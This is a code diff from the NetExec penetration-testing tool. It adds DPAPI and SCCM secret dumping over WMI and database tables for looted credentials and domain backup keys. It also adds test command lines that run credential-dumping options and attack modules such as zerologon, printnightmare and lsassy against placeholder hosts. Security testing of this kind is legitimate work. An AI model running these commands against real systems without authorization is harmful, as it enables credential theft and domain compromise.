|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
aesKey=self.aesKey,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,25 +1,35 @@
|
||||
from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
Base = declarative_base()
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.UsersTable = None
|
||||
self.HostsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
class Credential(Base):
|
||||
__tablename__ = "credentials"
|
||||
class User(Base):
|
||||
__tablename__ = "users"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
credtype = Column(String)
|
||||
pillaged_from_hostid = Column(Integer)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class Host(Base):
|
||||
@@ -33,10 +43,304 @@ class database(BaseDB):
|
||||
PrimaryKeyConstraint("id"),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
|
||||
def reflect_tables(self):
|
||||
self.CredentialsTable = self.reflect_table(self.Credential)
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.HostsTable = self.reflect_table(self.Host)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, port):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if port is not None:
|
||||
host_data["port"] = port
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
if pillaged_from and not self.is_host_valid(pillaged_from):
|
||||
nxc_logger.debug("Invalid host")
|
||||
return
|
||||
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"credtype": credtype,
|
||||
"domain": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"pillaged_from": pillaged_from,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if credtype is not None:
|
||||
cred_data["credtype"] = credtype
|
||||
if domain is not None:
|
||||
cred_data["domain"] = domain
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
if pillaged_from is not None:
|
||||
cred_data["pillaged_from"] = pillaged_from
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id)))
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
self.UsersTable.c.username == username,
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -10,6 +10,10 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target")
|
||||
|
||||
cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
|
||||
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
|
||||
|
||||
Generated
+57
-8
@@ -834,21 +834,23 @@ wmi = ["wmi (>=1.5.1)"]
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "3.2.2"
|
||||
version = "4.1.1"
|
||||
description = "DPAPI looting remotely in Python"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
python-versions = "<4.0,>=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"},
|
||||
{file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"},
|
||||
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
|
||||
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=40.0.1"
|
||||
impacket = ">=0.12.0"
|
||||
impacket = ">=0.13.0"
|
||||
lxml = ">=5.0"
|
||||
pick = ">=2.6.0,<3.0.0"
|
||||
pyasn1 = ">=0.4.8"
|
||||
pypsrp = ">=0.9.1,<0.10.0"
|
||||
|
||||
[[package]]
|
||||
name = "dsinternals"
|
||||
@@ -1095,7 +1097,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260810.134619.243d64a6"
|
||||
version = "0.14.0.dev0+20260909.31915.a2d35007"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -1119,7 +1121,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc"
|
||||
resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1749,6 +1751,24 @@ files = [
|
||||
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
description = "Pick an option in the terminal with a simple GUI"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
|
||||
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[package.extras]
|
||||
blessed = ["blessed (>=1.17.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
@@ -2975,6 +2995,35 @@ files = [
|
||||
[package.dependencies]
|
||||
cryptography = ">=38.0.1"
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
description = "Support for the standard curses module on Windows"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
markers = "platform_system == \"Windows\""
|
||||
files = [
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
@@ -2993,4 +3042,4 @@ test = ["pytest", "pytest-cov"]
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.10,<4.0"
|
||||
content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
|
||||
content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48"
|
||||
+1
-1
@@ -24,7 +24,7 @@ dependencies = [
|
||||
"bloodhound-ce>=1.8.0",
|
||||
"certihound>=0.1.1",
|
||||
"cryptography>=42.0.8",
|
||||
"dploot>=3.2.2,<4.0.0",
|
||||
"dploot>=4.0.0",
|
||||
"dsinternals>=1.2.4",
|
||||
"jwt>=1.3.1",
|
||||
"lsassy>=3.1.11",
|
||||
|
||||
+30
-8
@@ -31,11 +31,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
|
||||
@@ -177,13 +179,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" ALL_PROPS=True DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True ALL_PROPS=True DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o ALL_PROPS=True DOWNLOAD=False
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors
|
||||
# test for multiple modules at once
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus
|
||||
@@ -202,6 +197,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
|
||||
##### WMI Modules
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
@@ -213,6 +210,14 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
|
||||
@@ -285,6 +290,14 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
|
||||
